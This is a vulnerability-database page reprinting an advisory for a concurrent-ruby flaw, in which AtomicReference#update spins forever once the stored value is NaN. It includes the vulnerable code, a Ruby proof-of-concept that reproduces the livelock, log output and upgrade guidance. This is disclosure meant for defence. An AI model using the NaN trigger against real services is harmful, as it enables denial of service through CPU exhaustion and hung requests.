Loading...
Skip to main content

CVE-2026-54904 — Vulnerability in concurrent-ruby — CVE Details

HIGH

Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`

Published June 19, 2026Updated September 10, 2026Source: osv

Summary

### Summary `Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`. The issue is caused by the interaction between: - `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds. - Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap. - Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`. As a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs. ### Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab ### Details `AtomicReference#update` retries until `compare_and_set` returns true: ```ruby def update true until compare_and_set(old_value = get, new_value = yield(old_value)) new_value end ``` For numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set: ```ruby def compare_and_set(old_value, new_value) if old_value.kind_of? Numeric while true old = get return false unless old.kind_of? Numeric return false unless old == old_value result = _compare_and_set(old, new_value) return result if result end else _compare_and_set(old_value, new_value) end end ``` When the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever. This is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior. ### PoC ```ruby #!/usr/bin/env ruby # frozen_string_literal: true require 'concurrent/atomic/atomic_reference' require 'concurrent/version' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN" ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false worker = Thread.new do ref.update do |_old_value| attempts += 1 0.0 end finished = true end sleep 0.25 puts "nan_update_attempts_after_250ms=#{attempts}" puts "nan_update_finished=#{finished}" puts "nan_update_worker_alive=#{worker.alive?}" if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOT_REPRODUCED' end worker.kill worker.join control = Concurrent::AtomicReference.new(1.0) control_attempts = 0 control_result = control.update do |old_value| control_attempts += 1 old_value + 1.0 end puts "control_update_result=#{control_result.inspect}" puts "control_update_attempts=#{control_attempts}" puts "control_update_final_value=#{control.value.inspect}" ``` ### Log evidence ```text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nan_update_attempts_after_250ms=1926016 nan_update_finished=false nan_update_worker_alive=true result=REPRODUCED busy retry loop; update did not complete control_update_result=2.0 control_update_attempts=1 control_update_final_value=2.0 ``` ### Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU. ### Credit Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))

Advisory Timeline

  • First published June 19, 2026 (115 days ago).
  • Last revised September 10, 2026 — 82 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update concurrent-ruby to 1.3.7 or later
gem install concurrent-ruby -v 1.3.7

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: rubygems (1).

PackageEcosystemAffectedFixed In
concurrent-ruby
rubygems
0.0.1, 0.1.0, 0.1.1, 0.1.1.pre.1 (+73 more)1.3.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2026-54904?
Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN` This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-54904?
CVE-2026-54904 affects concurrent-ruby. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-54904 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-h8w8-99g7-qmvj

Related CVEs

  • CVE-2026-94462
    HIGH

    Spree: Broken Access Control in `PATCH /api/v3/store/carts/:id/associate` (IDOR)

  • CVE-2026-77601
    HIGH

    OpenC3 COSMOS: Authenticated OS command injection via the `pypi_url` setting

  • CVE-2026-54906
    LOW

    Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption

  • CVE-2026-54905
    LOW

    Concurrent Ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies